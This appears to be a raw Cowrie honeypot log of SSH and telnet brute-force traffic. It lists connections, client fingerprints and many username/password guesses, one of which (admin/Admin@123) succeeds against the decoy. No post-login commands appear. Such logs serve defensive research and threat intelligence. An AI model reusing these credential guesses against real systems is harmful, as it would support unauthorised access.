{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:02.138891Z","src_ip":"8.218.166.49","session":"743425944f20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:02.334168Z","src_ip":"49.207.40.162","session":"71a0e60d1566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:03.552206Z","src_ip":"49.207.40.162","session":"71a0e60d1566","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:10.682989Z","src_ip":"8.218.166.49","session":"300a5d378d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":40684,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5e1f6647f08","protocol":"telnet","message":"New connection: 3.131.220.121:40684 (159.203.135.109:23) [session: e5e1f6647f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:11.262747Z"}
{"eventid":"cowrie.session.closed","duration":"116.2","message":"Connection lost after 116.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:12.743759Z","src_ip":"8.218.166.49","session":"743425944f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.02158498764038,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:21.284245Z","src_ip":"3.131.220.121","session":"e5e1f6647f08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":51550,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a80bee6b4a5","protocol":"ssh","message":"New connection: 68.183.178.130:51550 (10.17.0.5:22) [session: 6a80bee6b4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:22.397482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:22.402288Z","src_ip":"68.183.178.130","session":"6a80bee6b4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:22.642167Z","src_ip":"68.183.178.130","session":"6a80bee6b4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:23.621428Z","src_ip":"68.183.178.130","session":"6a80bee6b4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:24.861166Z","src_ip":"68.183.178.130","session":"6a80bee6b4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":61471,"dst_ip":"10.17.0.5","dst_port":22,"session":"074183ba35c7","protocol":"ssh","message":"New connection: 213.209.159.56:61471 (10.17.0.5:22) [session: 074183ba35c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:26.395705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:26.400419Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:26.482521Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie","message":"login attempt [stacie/stacie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:26.884123Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":48216,"dst_ip":"10.17.0.5","dst_port":22,"session":"996de3341958","protocol":"ssh","message":"New connection: 198.23.150.42:48216 (10.17.0.5:22) [session: 996de3341958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:27.890198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:27.895181Z","src_ip":"198.23.150.42","session":"996de3341958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:27.913987Z","src_ip":"198.23.150.42","session":"996de3341958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie1","message":"login attempt [stacie/stacie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:27.976955Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rasengan","message":"login attempt [root/rasengan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:28.029602Z","src_ip":"198.23.150.42","session":"996de3341958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:29.051179Z","src_ip":"198.23.150.42","session":"996de3341958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie123","message":"login attempt [stacie/stacie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:29.061830Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":40734,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b979c2d6e78","protocol":"telnet","message":"New connection: 3.131.220.121:40734 (10.17.0.5:23) [session: 2b979c2d6e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:30.122862Z"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie1234","message":"login attempt [stacie/stacie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:30.147278Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.033995866775512695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:30.156725Z","src_ip":"3.131.220.121","session":"2b979c2d6e78","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie12345","message":"login attempt [stacie/stacie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:31.234721Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:32.321495Z","src_ip":"213.209.159.56","session":"074183ba35c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:41.553284Z","src_ip":"8.218.166.49","session":"1588c47cbe66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"55.5","message":"Connection lost after 55.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:43.418995Z","src_ip":"8.218.166.49","session":"1588c47cbe66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49078,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2c9ec0016ee","protocol":"ssh","message":"New connection: 8.218.166.49:49078 (10.17.0.5:22) [session: c2c9ec0016ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:58.900996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:06:58.905762Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:00.009790Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":38252,"dst_ip":"10.17.0.5","dst_port":22,"session":"79104aefb5f7","protocol":"ssh","message":"New connection: 68.183.178.130:38252 (10.17.0.5:22) [session: 79104aefb5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:00.686902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:00.692051Z","src_ip":"68.183.178.130","session":"79104aefb5f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:00.932554Z","src_ip":"68.183.178.130","session":"79104aefb5f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:01.912971Z","src_ip":"68.183.178.130","session":"79104aefb5f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:03.154572Z","src_ip":"68.183.178.130","session":"79104aefb5f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":50306,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf6126335d5","protocol":"ssh","message":"New connection: 8.218.166.49:50306 (10.17.0.5:22) [session: 1cf6126335d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:15.921993Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":46832,"dst_ip":"10.17.0.5","dst_port":22,"session":"78282e9a3075","protocol":"ssh","message":"New connection: 183.182.125.142:46832 (10.17.0.5:22) [session: 78282e9a3075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:17.974845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:17.979857Z","src_ip":"183.182.125.142","session":"78282e9a3075","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:18.250878Z","src_ip":"8.218.166.49","session":"c2c9ec0016ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:18.256793Z","src_ip":"183.182.125.142","session":"78282e9a3075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.186","src_port":33669,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4f9226cff4","protocol":"ssh","message":"New connection: 104.28.195.186:33669 (10.17.0.5:22) [session: 9c4f9226cff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:19.326746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:19.331617Z","src_ip":"104.28.195.186","session":"9c4f9226cff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summit","message":"login attempt [root/summit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:19.373857Z","src_ip":"183.182.125.142","session":"78282e9a3075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:19.462398Z","src_ip":"104.28.195.186","session":"9c4f9226cff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123456","message":"login attempt [root/super123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:19.802934Z","src_ip":"104.28.195.186","session":"9c4f9226cff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:20.649490Z","src_ip":"183.182.125.142","session":"78282e9a3075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:20.882957Z","src_ip":"104.28.195.186","session":"9c4f9226cff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":46242,"dst_ip":"10.17.0.5","dst_port":22,"session":"598d11e32ef3","protocol":"ssh","message":"New connection: 8.218.166.49:46242 (10.17.0.5:22) [session: 598d11e32ef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:24.133678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:07:24.138541Z","src_ip":"8.218.166.49","session":"598d11e32ef3","protocol":"ssh"}
